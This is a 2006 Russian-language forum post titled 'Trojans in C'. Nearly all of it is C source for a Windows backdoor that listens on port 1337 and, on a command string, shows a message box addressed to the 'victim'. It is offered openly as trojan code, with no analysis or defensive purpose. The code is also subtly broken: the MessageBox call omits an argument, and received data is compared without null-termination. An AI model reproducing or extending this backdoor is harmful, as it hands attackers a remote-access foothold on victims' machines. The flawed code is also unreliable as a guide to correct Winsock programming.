Показать сообщение отдельно

Трояны на С
  #1  
Старый 04.06.2006, 18:30
Dracula4ever
Постоянный
Регистрация: 08.05.2006
Сообщений: 559
С нами: 10531106

Репутация: 354


Post Трояны на С

Код:
#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#define bPort 1337 // Порт через которого мы подключаемся к серверу Backdoor он 1337

int main() 
{ 
WSADATA syData; 
//WSAData syData; 

int sin_size,bRe,bSocket; //Мы пользуемся bSocket для подслушевания
int newSocket;
struct sockaddr_in myAddr,theirAddr;// Мой адресс и того кого подключился
char buffer[80]; 

WSAStartup(MAKEWORD(1, 1), &syData); 

bSocket = socket(AF_INET, SOCK_STREAM, 0); 

myAddr.sin_port = htons(bPort); 
myAddr.sin_family = AF_INET;
myAddr.sin_addr.s_addr = INADDR_ANY; // Автоматическое заполнение номера IP на котором есть сервер Backdoor 
memset(&(myAddr.sin_zero), '\0', 8); 

bind(bSocket, (struct sockaddr *)&myAddr, sizeof(struct sockaddr)); 
listen(bSocket, 1);

sin_size = sizeof(struct sockaddr_in); 

while(1) {


newSocket = accept(bSocket, (struct sockaddr *)&theirAddr, &sin_size);

while (1) {
bRe=recv(newSocket, buffer, sizeof(buffer), 0); 

if (bRe == 0 || bRe == -1) break; 

if (strcmp(buffer,"Messagebox") == 0) MessageBox("Sup ?","Hi victim",MB_OK);
} 
} 
return 0; 
}
Только для професионалов в языке С.
 
Ответить с цитированием